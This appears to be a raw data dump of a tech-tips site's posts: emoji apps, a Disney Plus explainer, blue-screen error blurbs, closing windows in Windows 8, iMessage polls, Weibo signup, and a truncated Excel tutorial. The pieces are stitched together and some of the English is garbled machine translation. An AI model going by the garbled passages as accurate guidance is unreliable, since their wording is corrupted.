emoji creation app is Moji Maker. For users who have experienced this application, they all know about its flexibility. No matter what you think about shapes or emoticons, this app can turn your imagination into reality. On the basic emoji, you can change the color, outfit or add accessories to the emoji by dragging, dropping and converting it into the shape you really want. The advantage of using this app is that it is very easy to use and users can quickly create another emoji style in seconds!\nDownload - iOS / Android\n# 3 Makemoji   \nThis application is similar to the above applications. Choose the basic template and then add facial expressions and create the desired appearance. After adding all the classes, you can still make the final edit and make it more aesthetic. After completing the work, press the done button and save or share your emoji easily!\nDownload - iOS / Android\n# 4 Booble Keyboard and EmojiFace   \nTwo different applications but they work on the same principle. Booble Keyboard application compatible with Android devices as well as iOS while EmojiFace application is only available for iOS. Both applications allow users to take their selfies and turn them into funny emoji. This process is very simple, just take a selfie, then the application will turn it into a drawing and finally an emoji image. You can get many emoji created from your selfie, choose the emoji you like to save or share.\nBooble Keyboard - iOS / Android\nEmojiFace - iOS\nncG1vNJzZmismaXArq3KnmWcp51ksLOxwK2cZpmeYrKuu8miZJ6ln5%2B2bsPIrZ9mpZGZsm6u2GaknmWjqcatsQ%3D%3D\n","link":"/post/create-an-emoji-emoji-with-made-by-me-style/","section":"post","tags":null,"title":"Create an Emoji emoji with 'made by me' style"},{"body":"Disney's streaming service,\u0026nbsp;Disney Plus, is the entertainment giant's online hub to stream almost everything it produces, including Star Wars,\u0026nbsp;Marvel, Pixar, and all the family-friendly movies and animation from Disney itself. As swaths of the world are gripped by the new\u0026nbsp;coronavirus\u0026nbsp;and containment measures are shuttering cinemas and forcing families to\u0026nbsp;entertain themselves at home, Disney Plus is swerving from the status quo too.\u0026nbsp;\nFor one, Disney Plus delayed its launch in France until April 7 because European officials worried that internet traffic linked to the rollout could strain the country's networks. Disney Plus launched elsewhere in Western Europe -- the UK, Ireland, Spain, Germany, Austria, Italy and Switzerland -- Tuesday. Disney Plus generated about 5 million downloads on the first day solely on mobile devices across its new European markets, according to App Annie.\nStill, Disney Plus said it's\u0026nbsp;lowering overall bandwidth\u0026nbsp;use by at least 25% in all of those new European markets to minimize stress on networks.\u0026nbsp;Disney\u0026nbsp;will keep an eye on congestion and could further reduce bit rates if service providers are getting overwhelmed, the company said.\u0026nbsp;\nOn the bright side, Disney is releasing recent big-screen movies, like animated hit Frozen 2\u0026nbsp;and Pixar's Onward, to stream early on Disney Plus.\u0026nbsp;\nOnward will be added to Disney Plus on April 3. Disney released the Pixar movie for online purchase just two weeks after its premiere in theaters earlier this month. \"While we're looking forward to audiences enjoying our films on the big screen again soon, given the current circumstances, we are pleased to release this fun, adventurous film to digital platforms early for audiences to enjoy from the comfort of their homes,\" director Dan Scanlon and producer Kori Rae said in a statement.\n  Frozen 2 is already available to stream in the US, Canada, the Netherlands, Australia and New Zealand. That's three months earlier than its original streaming date of June 26, and it comes just a few weeks after the movie became available for purchase as download, DVD or Blu-ray in February. Releasing Frozen 2 early was meant to surprise \"families with some fun and joy during this challenging period,\" the company said. \u0026nbsp;\nThey're rare pleasant surprises, following the spread of the novel coronavirus and the respiratory disease it causes, COVID-19. Amid the pandemic, Disney has temporarily shut down its theme parks like Disneyland, delayed releasing big films like\u0026nbsp;Mulan\u0026nbsp;and\u0026nbsp;Black Widow, and paused production on movies and shows. That includes Disney Plus' first Marvel original series, The Falcon and the Winter Soldier, that was supposed to be released in August.\u0026nbsp;\nDisney Plus, which also has Fox programming like The Simpsons, is the company's huge bet on streaming as the future of home entertainment, taking on\u0026nbsp;Netflix\u0026nbsp;and an emerging crop of rivals like\u0026nbsp;Peacock,\u0026nbsp;Apple TV Plus\u0026nbsp;and\u0026nbsp;HBO Max. It was one of last year's biggest launches, with a media analyst calling it \"one of the\u0026nbsp;greatest product launches of all time.\" Disney Plus\u0026nbsp;launched Nov. 12 and registered more than\u0026nbsp;10 million sign-ups in little more than a day. In less than three months, Disney Plus signed up\u0026nbsp;28.6 million subscribers.\u0026nbsp;\nDisney Plus costs $7 a month in the US, or $70 if you prepay for a full year. (International prices are listed below.) The monthly rate is half the price of HBO Now and the forthcoming\u0026nbsp;HBO Max. That price is also a discount compared with Netflix's cheapest tier, at $9 a month.\u0026nbsp;\nDisney Plus is designed to be the exclusive home to stream theatrical blockbusters from\u0026nbsp;Star Wars,\u0026nbsp;Marvel, Pixar, Disney's own studio and National Geographic. Disney is also plugging in a slate of original shows and movies, including big-budget Star Wars spinoff\u0026nbsp;The Mandalorian.\u0026nbsp;The Mandalorian, its marquee original series with viral sensation\u0026nbsp;Baby Yoda, became a pop culture phenom, and will return in October with its second season. Another live-action Star Wars series, a prequel to Rogue One, is set to start shooting this year.\u0026nbsp;\nSo is\u0026nbsp;Disney Plus\u0026nbsp;worth paying for? All the details about Disney Plus are below, but basically: If you love Star Wars or Marvel movies or if you have kids, you may find yourself considering yet another subscription.\nWhen are its release dates?\u0026nbsp; Disney Plus launched\u0026nbsp;Nov. 12 in the US, Canada and the Netherlands. The initial launch of Disney Plus came less than two weeks after\u0026nbsp;Apple TV Plus\u0026nbsp;rolled out. Disney Plus arrived on Nov. 19 in Australia and New Zealand. Then on March 11, Disney Plus rolled out unexpectedly early in India, as Disney rebranded its existing Hotstar streaming service there as Disney Plus Hotstar and added a wealth of new titles to stream.\u0026nbsp;\nOn Tuesday, it launched across parts of\u0026nbsp;Western Europe, including the UK, Ireland, Spain, Germany, Italy and Switzerland. The company offered discounted preorders through Monday for potential customers there: a one-year subscription for 60 euros or 50 British pounds. Disney Plus' standard pricing in Western Europe is €7 or £6 a month, while an annual subscription is €70 or £60.\u0026nbsp;\nDisney delayed its launch in France until April 7 because of concerns demand for the new service could strain the country's internet capacity. When Disney originally launched in the US in November, demand to sign up and start using the service caused widespread crashes the first day, even though that launch came during much more routine patterns of bandwidth demand.\nIn the UK and Ireland, Disney Plus replaces existing service Disney Life, but the switch isn't automatic for Disney Life subscribers. If you were a Disney Life subscriber, make sure you sign up for Disney Plus. And after some uncertainty, Disney Plus' catalog in the UK and Ireland appears to include The Simpsons.\nDisney Plus also agreed to launch on Comcast-backed pay-TV operator\u0026nbsp;Sky\u0026nbsp;via its Sky Q service and Now TV app in the UK and Ireland. In France, broadcaster Canal Plus will be the exclusive pay-TV distributor of Disney Plus, and its traditional networks will air the first episode of The Mandalorian on March 24 as part of a publicity push.\u0026nbsp;\nGlobally, Disney plans a progressive rollout worldwide over two years. The company provided a generalized timeline for when it'll expand the service to the world's major regions.\u0026nbsp;\nDisney Plus is slated to roll out in:\nEastern Europe over the course of a year starting as early as summer 2020. Latin America over the course of three months starting as early as October 2020. Asia-Pacific over the course of two years starting anytime -- the company hasn't specified. Kevin Mayer, the Disney executive in charge of the division launching Disney Plus, declined to specify any other international launch dates in August. But he told a group of international press that he believes people \"will be happy\" with how quickly Disney rolls out the service to international markets. \u0026nbsp;\nHow much does it cost? In the US, the Disney Plus service costs $7 a month, or $70 a year.\u0026nbsp;\nIn Canada, Disney Plus is priced at CA$9 a month, or CA$90 per year. In countries that are part of the euro zone, it is €7, or €70 a year. In the UK, it is £6 a month, or £60 a year. In Australia, it's priced at AU$9 a month, or AU$90 per year, while New Zealand subscribers pay NZ$10 per month, or NZ$100 per year. \u0026nbsp;In India, Disney Plus Hotstar is priced at 299 Indian rupees a month, or INR999 a year.\nThe US price undercuts the $13 monthly fee for\u0026nbsp;Netflix's\u0026nbsp;most popular plan in the US, which lets you stream to two different devices simultaneously in high definition. Disney Plus, however, allows all subscribers to stream to four devices and access 4K content at no extra cost -- features Netflix includes in its $16 premium tier.\u0026nbsp;\nDisney Chief Financial Officer Christine M. McCarthy hinted Disney Plus pricing may rise as the service advances, calling the $7-a-month fee an \"initial\" price.\u0026nbsp;\nThe company also\u0026nbsp;bundles Disney Plus\u0026nbsp;with\u0026nbsp;Hulu\u0026nbsp;(with ads) and\u0026nbsp;ESPN Plus, offering a $5 discount if you subscribe to all three of its streaming options. At $13, that costs the same as Netflix's most popular plan in the US.\nWay back in 2017, Disney CEO Bob Iger noted that the price would reflect the \"fact that it will have substantially less volume\" than prime competitor Netflix. As the months and years pass, Disney will accumulate a bigger catalog of exclusives and originals on Disney Plus. As that happens, it's a good bet the company will start pushing its price higher.\u0026nbsp;\nIn October,\u0026nbsp;Disney and Verizon\u0026nbsp;announced a deal that gives a free year of Disney Plus starting on launch day to all of the carrier's customers with a 4G LTE or 5G unlimited account, as well as new customers of Verizon's Fios and 5G home internet services. Those who prepurchased a Disney Plus plan such as the now-expired\u0026nbsp;three-year discounted subscription deal\u0026nbsp;can stack their one free year on top of it, according to a\u0026nbsp;Verizon FAQ. \u0026nbsp;\nHow does Disney Plus compare with competitors and fit in with Disney's other streaming services, like Hulu? Disney Plus is a competitor to video streaming services such as Netflix, HBO Now and\u0026nbsp;Apple TV Plus. It's a paid subscription without any advertising, and it gives customers access to a vast library of Disney's and Fox's legacy content as well as new, exclusive TV shows, movies, documentaries and shorts.\u0026nbsp;\nDisney's other streaming services -- Hulu and sports-focused ESPN Plus -- run on the same tech platform. Disney plans for all three to be individual subscriptions, but it's offering a triple-service bundle\u0026nbsp;for $13 a month.\u0026nbsp;\nDisney Plus includes all of Disney's family-friendly content and much of its mass-audience fare -- basically, anything made for audiences up to a PG-13 rating. It has content from Disney proper, Marvel, Lucasfilm (so, Star Wars), Pixar and National Geographic. And outside those traditional categories it'll also offer all 30 seasons of The Simpsons, a new feather in its cap from the Fox takeover.\u0026nbsp;\n  Hulu, on the other hand, is where Disney streams more adult-oriented material. For example, two series originally planned for Disney Plus -- High Fidelity and Love, Victor -- were moved over to Hulu instead because of their mature themes.\u0026nbsp;\nHulu is now the official streaming home for FX networks. (FX became part of Disney after Disney bought Fox for $71.3 billion.) FX on Hulu will include all seasons of more than 40 FX series and will offer episodes of current and new FX series immediately after they air on the traditional network. Plus, FX will produce original series exclusively for \"FX on Hulu.\"\nFor now Hulu will continue to stream content from three of the broadcast networks, as well as its own original series, like The Handmaid's Tale and\u0026nbsp;Castle Rock.\u0026nbsp;\nAnd Disney now has full control over Hulu's direction. Hulu was jointly owned by four parent companies as recently as March. But in May, Disney said it'd buy the rest of Hulu it didn't already own. That gives Disney the flexibility to offer its bundle discount.\u0026nbsp;\nHow can I stream it?\u0026nbsp; Disney has wide device support, streaming to phones, tablets, computers, connected TVs and streaming media boxes. In August, the company said it also had global distribution agreements in place with Apple, Google, Microsoft, Roku and Sony. Then less a week before launch, Disney expanded that to Amazon, Samsung and LG. That encompasses the makers of:\nRoku's boxes, sticks and TVs Apple TV, iPhone and iPad Phones and TVs running on Android operating systems, as well as Chromecast streamers Xbox One PlayStation 4. Amazon Fire TV devices Samsung smart TVs LG smart TVs Executives have said that they intend for Disney Plus to be supported by all major devices that stream video.\u0026nbsp;\nWhat product features does the service include?\u0026nbsp; Disney Plus can stream 4K Ultra HD content in Dolby Vision, HDR10 and Dolby Atmos immersive audio. You can see a title's available formats in any of the Disney Plus apps by clicking to that show or movie's main page and then clicking on the \"details\" tab. The app for streaming boxes, like Roku and Apple TV, is also designed to briefly flash a symbol telling you the format that you're watching; it appears in the upper right corner of the screen for a few seconds when a video begins to play.\nEvery Disney Plus account can stream to four devices simultaneously and can create seven user profiles for different members of the household. Each account can pick an avatar of a Disney, Pixar, Marvel or Star Wars characters, with more than 200 avatars available.\nDisney Plus also offers unlimited mobile downloads for offline viewing. Subscribers can download to up to 10 mobile or tablet devices, with no constraints on the number of times a title can be downloaded. The number of titles stored at one time on a device depends on how much storage space is available on the device.\nThe service is supposed to support English, Spanish, French and Dutch at launch, including both user interface as well as audio support and subtitles for library content, with additional languages available for Disney Plus originals.\nThe app also supports closed captioning, descriptive audio and navigation assistance to help subscribers with disabilities.\nShows and movies: What can I watch? Now that Disney Plus is up and running, sites like\u0026nbsp;Just Watch\u0026nbsp;or Reelgood make the service's catalog easy to search.\u0026nbsp;\nGenerally, Disney Plus includes content from the Disney brand itself, Marvel, Pixar, Star Wars and National Geographic. It'll also integrate programming from Fox -- all 30 seasons of\u0026nbsp;The Simpsons\u0026nbsp;are on Disney Plus starting day one, and more titles, like\u0026nbsp;The Sound of Music,\u0026nbsp;The Princess Bride and\u0026nbsp;Malcolm in the Middle, are joining in the first year. In August, Disney said that it'll go further than that, \"reimagining\" past Fox franchises \"for a new generation.\" Iger indicated a reboot of Home Alone is in the works, for one.\u0026nbsp;\nDisney Plus is designed to be the only place you can stream all of Disney's theatrically released movies, starting with Captain Marvel\u0026nbsp;and Avengers: Endgame at launch and the rest of its 2019 slate later on.\u0026nbsp;\nDisney Plus will also house the entire film libraries of Pixar, Star Wars and its Signature Series and Disney Vault lines of classic hand-drawn animated movies. (Think Bambi, The Lion King, Snow White and so on.)\nAnd of course, the company is developing a big slate of original, exclusive shows and movies for the service.\nMajor originals include The Mandalorian, a big-budget series starring Pedro Pascal about a bounty-hunting gunfighter that takes place five years after the events in The Return of the Jedi. Disney is investing heavily in The Mandalorian. Its budget reportedly approached $15 million per episode. By comparison, Game of Thrones didn't hit that kind of spending until its final season.\u0026nbsp;\nA Star Wars prequel series is based on\u0026nbsp;Rogue One. It'll star Diego Luna, who played Cassian Andor in the original movie.\u0026nbsp;\nAnd Disney has seven live-action series featuring the stars of its blockbuster Avengers movies in their own shows.\u0026nbsp;\nThe first wave includes: The Falcon and the Winter Soldier with Anthony Mackie and Sebastian Stan in August;\u0026nbsp;WandaVision\u0026nbsp;with Elizabeth Olsen and Paul Bettany in December; a Loki series featuring Tom Hiddleston in spring 2021; and a Hawkeye series in fall 2021, starring Jeremy Renner and featuring Kate Bishop, who in the comics becomes a second Hawkeye.\nIn August, the company unveiled plans for three more shows, based on characters Ms. Marvel, She-Hulk and Moon Knight. In the comics, Ms. Marvel, or Kamala Khan, is a teen protege of Captain Marvel's Carol Danvers and is Marvel's first Muslim character to headline her own comic book. The Ms. Marvel series is confirmed for 2021 release. She-Hulk, or Jennifer Walters, is the cousin of Bruce Banner, whose superhuman powers transferred to her when she received a transfusion of Banner's blood. (Hulk actor Mark Ruffalo is in talks to appear in the series.) The character Moon Knight, or Marc Spector, is a former mercenary and CIA agent who has multiple personalities and is imbued with powers from an Egyptian god.\nAt Comic Con in July,\u0026nbsp;Marvel\u0026nbsp;Studios President Kevin Feige detailed how the studio's Disney Plus shows are designed to be essential viewing for Marvel fans. The characters and narratives of the Marvel Cinematic Universe will be knitted together between theatrical movies and\u0026nbsp;original series on Disney Plus. \u0026nbsp;\nBenedict Cumberbatch, for example, will be joined by\u0026nbsp;Scarlet Witch\u0026nbsp;actress Elizabeth Olsen in May 2021's theatrical sequel\u0026nbsp;Doctor Strange: In The Multiverse of Madness\u0026nbsp;-- but to understand how Olsen's character arrived at the events on the big screen, you'll need to watch the Disney Plus original WandaVision, slated to come at the end of 2020.\u0026nbsp;\nOn the flip side, Avengers: End Game contains a clue to how Loki returns from his death to appear in the Disney Plus original\u0026nbsp;Loki, set for spring 2021.\u0026nbsp;\nDisney Plus also plans a gamut of original documentaries, reality shows, competition series, behind-the-scenes features, nature and adventure titles, animated programming -- the list goes on. It may also be the place Disney debuts live-action short films made via its Launchpad incubator program designed to elevate opportunities for filmmakers from underrepresented groups.\nDisney Plus is even starting to stream two-dimensional versions of\u0026nbsp;Disney's virtual reality.\nEven though all of Disney's movies will stream exclusively on Disney Plus, the company doesn't plan to stream any of its big-budget motion pictures while they're in theaters. That's what's known as a day-and-date approach, to release titles on the big screen and on a streaming service at the same time. It was Netflix's strategy for years. Disney, however, plans for all its theatrical films like\u0026nbsp;Star Wars\u0026nbsp;and Marvel to run their course in theaters and home video before making them available with a digital subscription.\u0026nbsp;\nHow will this affect Disney stuff on Netflix? Disney is mostly disappearing from Netflix in early 2020 (with a caveat).\nSince 2016, Netflix has been the first place\u0026nbsp;to watch Disney's movies\u0026nbsp;with a subscription. That deal meant Netflix was the go-to place for the biggest US blockbusters of the last three years. The top two movies of 2017 and the top three movies of 2016 and 2018 were all from Disney, and Netflix has been the place to binge them all.\u0026nbsp;\nBut\u0026nbsp;Disney decided against renewing that Netflix deal\u0026nbsp;as it plotted its own competitor. Starting with Disney's 2019 slate of movies, all those films are destined for Disney Plus. That means\u0026nbsp;Captain Marvel, the first movie Disney released theatrically in 2019, is the first movie on Disney Plus instead of Netflix. It also means that\u0026nbsp;Mary Poppins Returns\u0026nbsp;should be the final Disney movie that has some type of release window on Netflix.\nBut licensing is complicated, and one report indicates Disney will return those movies to Netflix -- and remove them from Disney Plus -- temporarily starting in 2026. It affects movies released between January 2016 and December 2018, which includes Marvel titles like Captain America: Civil War, Thor: Ragnarok, Black Panther and Avengers: Infinity War; Star Wars hits like Rogue One: A Star Wars Story and The Last Jedi; and Pixar staples like Finding Dory, Coco and The Incredibles 2. It also touches family favorites like Moana and the live action Beauty and the Beast.\u0026nbsp;\nOne consideration: Disney Plus won't lose these titles until six years after the service launches. At that point, Disney Plus will have built a large permanent library of original content, and it will continue to funnel all its newest releases to Disney Plus and nowhere else. Presumably, that will take some of the sting out of losing these films for a limited time.\u0026nbsp;\nNetflix's Marvel Defenders shows are complicated too. Netflix has put out five original series based on Defenders characters in partnership with Disney. In 2018, Netflix canceled three of them: Daredevil, Luke Cage and Iron Fist. Then in 2019,\u0026nbsp;Netflix canceled the last two: The Punisher and Jessica Jones. Kevin Mayer, the Disney executive in charge of Disney Plus, has said Disney Plus could possibly revive the canceled shows. But the terms of their original deal could restrict Disney Plus from\u0026nbsp;any revivals until 2020, according to a report.\u0026nbsp;\nWith the third, and now final, season of\u0026nbsp;Jessica Jones\u0026nbsp;having hit Netflix in June, all we know about the future of these characters is Marvel Television chief Jeph Loeb\u0026nbsp;teasing fans that the characters will continue\u0026nbsp;in some form.\u0026nbsp;\nWhat shows and movies do you want to appear on Disney's streaming service? Pop them into the comments section and we'll keep updating this post with more information as it becomes available.\nOriginally published Aug. 27, 2018, and updated as new information is revealed.\u0026nbsp;\nncG1vNJzZmismaXArq3KnmWcp51ksaq%2FzZ6wZqicqsBusdWeqbKsmJ67qHnTqGSkpp%2BseqKuzq6rZpyZqLumxYysq6udkaK2r7OMmqSinF2YvLO7zZqtoqqlqA%3D%3D\n","link":"/post/everything-to-know-about-disney-streaming-amid-coronavirus/","section":"post","tags":null,"title":"Everything to know about Disney streaming amid coronavirus"},{"body":" fix blue screen error | TipsMake.com    'blue screen of death' is the term used to describe the computer unexpectedly stalling the whole operation and a blue-colored error message will appear on the screen. this error leads to crashes or even damage to both device hardware and software, which will be reduced if we know how to prevent it   error attempted execute on noexecute memory (stop code 0x000000fc) occurs because the driver is corrupted, old or driver conflicts. this error usually occurs after installing new hardware on the computer.   critical service failed error is a blue screen error that prevents windows operating system from working. this article will show you how to fix blue screen critical service failed on windows.   error 0x00000019: bad pool header is a dead blue screen error that occurs when a process uses ram and when it is impossible to exit, corrupt the memory pool evenly.   error 0x0000001e: kmode exception not handled system error handler message cannot handle exceptions generated from kernel mode program.   attempting write to readonly memory error (stop code 0x000000be) is one of the blue screen errors, which occurs when a driver tries to write to read-only in computer memory.   kernel data error inpage error (stop code 0x0000007a) occurs due to bad sectors, viruses, hard drives or ram errors caused.   video error memory management internal (error code 0x0000010e) appears because the video driver is corrupted or incompatible on the current windows version.   bad system config info is a common bug checking error on windows 10 system. let's look at some ways to solve this problem.   error 0x00000109: could not be selected entry entry is often caused by device driver modifying illegal kernel data.   machine check exception blue screen error is a serious windows system error. this article will show you some ways to fix this error.   blue screen error or blue screen of death on windows has been around for a long time. these errors contain important information regarding the sudden crash of the system.   the frightening blue screen of death, known as bsod, has more than 500 error codes but critical process died stops the most recently. although windows 10 users are less prone to blue screen errors than previous versions of the operating system, they do occur and cause annoyance.   when meltdown and specter vulnerabilities appeared in intel, amd and arm chips, microsoft released a lot of updates on pc and mobile. however, these updates make windows 7/10 blue, unable to boot.   many users encounter a stop error, also known as a blue screen error 0x7b inaccessible_boot_device after using windows updates to update on windows 10/8/7. microsoft has come up with a number of solutions to help users solve this problem.   in the process of using the computer, you may have encountered the blue screen of death with the dxgmms2.sys error message, this usually happens when playing games or performing tasks that require heavy graphics.   critical structure corruption is a blue screen of death (bsod) error that can be encountered at any time while you are using a windows computer.   during a long time using windows, surely many times you will encounter the case of a blue screen error, also known as a bsod. this is probably the biggest obsession for windows users because we feel completely helpless because we do not know how to   microsoft has just instructed windows 10 users to temporarily fix blue screen problems when printing.   while using bluestacks normally, suddenly you get a blue screen error, however, not every bluestacks version is faulty, this is the error that mainly occurs on windows 10 name when you use bluestacks 3.   blue screen error on windows 10 is a very common error and very difficult to fix, caused by the operating system problem. the way to fix the screen error is to reinstall the operating system, but it is complicated and takes a lot of time.   blue screen error is probably the biggest obsession for windows users, this error has existed for a long time, anyone using a computer must have encountered this situation more or less.   fix blue screen error on windows 10 effectively. in the process of using the computer, sometimes many people will be caught with the phenomenon of the computer being used, the device is frozen, the screen is blue. for many people who don't know much   fix blue screen error on windows. the cause of blue screen errors is also very likely due to hardware or software conflicts. tipsmake.com will guide you some ways to fix blue screen error on windows, please follow along.   blue screen error is quite common error on computers running windows. because you need to determine the cause of hardware or software before solving the problem,   blue screen blue screen error (also known as the dead blue screen error - blue screen of death or bsod, or 'stop error' error) is one of the most difficult to fix errors on windows operating system. . the reason is because bsod errors often occur   the phenomenon of blue screen error on computer dump stop or blue screen error win 10, blue win screen error xp has appeared for a long time. it seems that microsoft considers this a unique feature when not offering a specific solution to overcome   blue screen death error bsod page_fault_in_nonpaged_area or stop 0x00000050 is a common error after installing a hardware device driver, or after installing or updating (updating) a new software and in some cases the cause the error is caused by an   machine check exception blue screen error is a serious windows system error. this article will show you some ways to fix this error.   the frightening blue screen of death, known as bsod, has more than 500 error codes but critical process died stops the most recently. although windows 10 users are less prone to blue screen errors than previous versions of the operating system, they   when meltdown and specter vulnerabilities appeared in intel, amd and arm chips, microsoft released a lot of updates on pc and mobile. however, these updates make windows 7/10 blue, unable to boot.   many users encounter a stop error, also known as a blue screen error 0x7b inaccessible_boot_device after using windows updates to update on windows 10/8/7. microsoft has come up with a number of solutions to help users solve this problem.   microsoft today released a small but necessary update for windows 10 technical preview users.   the windbg utility from microsoft will help you troubleshoot and diagnose the problem, then lead you to the root cause to fix the blue screen error.   just like the black screen error on bluestacks makes users uncomfortable, a blue screen error occurs when we play a game that will affect the character control.   ncG1vNJzZmismaXArq3KnmWcp51kwaKz0midorBdl7m2sYysmqudlaN6pr7RqKlnoKSiuQ%3D%3D\n","link":"/post/fix-blue-screen-error-tipsmake-com/","section":"post","tags":null,"title":"fix blue screen error | TipsMake.com"},{"body":" With the introduction of the Metro interface in Windows 8, there are now two distinct types of windows: Apps and traditional desktop windows. Since Metro is designed for both touchscreen and mouse input, the methods for closing apps is...\nMethod 1of 3:\nClosing an Open App  Close an app using your mouse. If you are using a mouse, you can close the app much like you would a desktop window. The app may prompt you to save your work before closing. 8.1 only - Move your mouse to the upper-right corner. Click the \"X\" that appears. This will close the active app. 8 and 8.1 - Click and drag the title bar to the bottom of the screen. The app will shrink and then close when you release it at the bottom of the screen.   Close an app using your finger. If you are using a touchscreen, drag the app from the top of the screen to the bottom. The app will close and you will be returned to the Start screen. This puts the app to sleep so you can quickly open it later. If you want to force it to close, drag and hold the app at the bottom of the screen until it flips over.   Use the task bar. Move your mouse to the upper-left corner to display a list of all your open apps. If you are using a touchscreen, swipe in from the left side of the screen.[1] If you are using a mouse, right-click the app you want to close and select \"Close\" If you are using a touchscreen, drag the app you want to close to the bottom of the screen.   Press .Alt+F4 to close the active app. This is useful if the \"X\" is hidden, the app is frozen, or you can't figure out how to make the onscreen controls appear.\n Method 2of 3:\nClosing Windows in Desktop Mode  Click the \"X\" in the upper-right corner. This will immediately close most windows in desktop mode. The program may prompt you to save your work before closing. Not all programs will close when your press the \"X\". Instead, the program may minimize to your System Tray in the lower-right corner of the desktop.   Right-click on the window's icon in the taskbar and select \"Close window\". The taskbar is located at the bottom of the screen, and open windows will have highlighted icons.\n  Press .Alt+F4 to close the active window. This is useful if the \"X\" is hidden or you can't move the window.\n Method 3of 3:\nForce-closing a Window or App in Desktop Mode  Press .Alt+F4 to force close the active window or app. This will work for windows in desktop mode as well as for Windows 8 apps. This is a useful shortcut for frozen programs that aren't responding to clicking the \"X\".\n  Press .Ctrl+⇧ Shift+Esc to open the Task Manager. This will open a list of all your running processes, and is the easiest way to close any non responsive programs. By default, the Task Manager will open displaying the Processes tab, which shows all of your open apps and running processes. Select the app or process that you want to force close. Frozen apps will say \"Not responding\". Click the End task button. Task Manager will attempt to force the program to close. If you are still having difficulty closing a program, click here.   Samuel Daniel Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpucpMCmedaipZ2np6h6qrqMsKCnnJ%2BswG6E\n","link":"/post/how-to-close-windows-in-windows-8/","section":"post","tags":null,"title":"How to Close Windows in Windows 8"},{"body":"Currently there are many messaging applications that have added voting to save time, as well as making quick choices for a certain issue, especially when group chat. You can create polls on Zalo, or create polls on Messenger easily. And if users want to create a vote for iMessage application on iPhone, they can install the application Polls for iMessage. This application is integrated right in the message editor toolbar so we can start quickly. You can easily create voting tables even when you are texting. The following article will guide you how to create a voting table on iMessage.\nHow to create a Skype chat group vote How to create a poll in the Facebook group on your phone How to create a quick poll on Fast Poll How to create a to-do list on Facebook Instructions for using Polls for iMessage on iPhone Step 1:\nUsers click on the link below to install the application Polls for iMessage on iPhone.\nDownload the app Polls for iMessage iPhone Step 2:\nAfter installing the application, go to the message then select the person who wants to send the message. Then we click on the text input box to see the application icon Polls for iMessage . Swipe upwards to enter the poll creation interface.\n    Step 3:\nFirst enter the title of the poll into Poll Title , then click Add Item to add the voting content in writing at Item Title or add a link at Add Link. When you have completed the comments, click Add to Poll to return to the first interface and also click Add Item to add more content.\n   Step 4:\nIn the voting list interface you can delete the created content. If so, click Create Poll to create a poll. Enter the message in the poll box and press the send button next to it.\nThe voting table results are displayed in the message interface as shown below.\n    Step 5:\nTo vote, just click on the table and then click on the comment you chose and click Vote below. Then we will see the voting results displayed in the table.\n   Step 6:\nTime to vote is unlimited. If you want to delete the voting table just press and hold and the table then select Add below. Click on the trash can icon below to delete.\n   Thus we have easily created a voting table for the iMessage application on iPhone with the application Polls for iMessage. Comments when voting are displayed in the messaging interface for everyone to know.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZK%2BnpJp6sLqMoqSeq6OWtKZ5yKmfqKaV\n","link":"/post/how-to-create-a-vote-on-imessage-iphone/","section":"post","tags":null,"title":"How to create a vote on iMessage iPhone"},{"body":"To be able to follow idols on Weibo social network, users first need to create a Weibo account. Currently, Weibo has added Vietnamese phone numbers to the account confirmation section so we can register.\nWeibo is a popular social network in China similar to Facebook and Twitter. When creating a Weibo account, you can play games or follow the idols. Or for those studying abroad in China, living there, creating a Weibo account is essential, because that party does not use chat applications Zalo, Viber, Line, . Previously the registration of talent Weibo account is quite difficult. But now we can use the Vietnam phone number to register for a Weibo account, since the social network has just added Vietnamese phone numbers to the registration confirmation.\nThe following article will guide you how to create a Weibo account with your Vietnamese phone number.\nNote to readers , we must use the 10-digit phone number with the head number 09XXXXXXXX to register Weibo. The registration interface will be Chinese so please follow the image carefully in each step to avoid confusion between the entry required.\nHow to create a Facebook account Simple way to create, set up a Twitter account Instructions for creating QQ accounts, playing Chinese online games 1. Sign up for a Weibo account with your phone number: Step 1:\nFirst of all, go to the Weibo homepage and follow the link below. You can also download the Weibo app to your phone.\nhttp://www.weibo.com/signup/signup.php Step 2:\nNext we will need to fill in personal information to create a Weibo account\nFirst of all, enter the phone number to find Vietnamese 越南, 2nd from the bottom up. Or sit down and check the list of countries to show 0084. Then enter the 10-digit personal phone number. When entering the phone number, register to remove the 0 in the front. When logging in Weibo account must fill out 00849xxx\nNext, the password entry line must be 6-16 characters long, can use numbers, letters, symbols, distinguishing both upper and lower case letters.\nThe line of verification code when clicking the code to receive the code will be sent to your phone number. From the moment of pressing the code to receive the code, there will be 60 seconds to enter the code. Over 60 seconds you will have to receive another code.\nAfter completing the basic information, press the orange button to register the Weibo account information.\n  Step 3:\nNext, select your preferences in each cell. This step can be randomly selected, then press the orange button below to finish.\nSo you have registered a Weibo account with your personal phone number already.\n  2. Confirm the Weibo account is available with Vietnamese phone number: Previously, if you created a Weibo account, but not through the phone number, we can verify it with your personal phone number.\nStep 1:\nFirst you need to log in to your Weibo account. In the interface click on the gear icon and select Account settings in the first line.\n  Step 2:\nClick on Mobile number (手机 号, 2nd line) to confirm the phone number.\n  Step 3:\nEnter a personal phone number to verify the Weibo account. Select Vietnam area code address and enter the phone number. Then press the orange button to receive the verification code.\nFinally, the user also clicks on the orange box below to verify the Weibo account via phone number.\n  Above is how to register for a Weibo account with a Vietnamese personal phone number. During the registration process you need to select the correct Vietnam area code, then receive the verification code and then enter the Weibo registration interface. During the login process, you should clearly see the information lines as shown in the picture to easily enter the information.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZLCdmZe8bq3CnKaupqRixKrAx2aYZq6ZmsGvrcyeqp5loJ28r7GMp6ymmpWn\n","link":"/post/how-to-create-a-weibo-account-with-a-vietnamese-phone-number/","section":"post","tags":null,"title":"How to create a Weibo account with a Vietnamese phone number"},{"body":"CONSOLIDATE is one of Excel's useful data statistics tools. CONSOLIDATE allows you to quickly perform sum, average, maximum value, minimum value . Software Tips invite you to refer to the following article information to better understand the syntax and usage CONSOLIDATE tool!\n  In the spreadsheet below, a detailed list of data by location and time, your task is to synthesize into summary reports according to each report criteria.\n  Step 1: Put your cursor in a cell where you want to return the report. For example, cell J2 . Select the Data tab (1) =\u0026gt; Click on the icon of CONSOLIDATE (2) .\n  Step 2: The CONSOLIDATE window appears.\nInside:\nFunction: Select the function to perform calculations like Sum (sum), Count (count data), 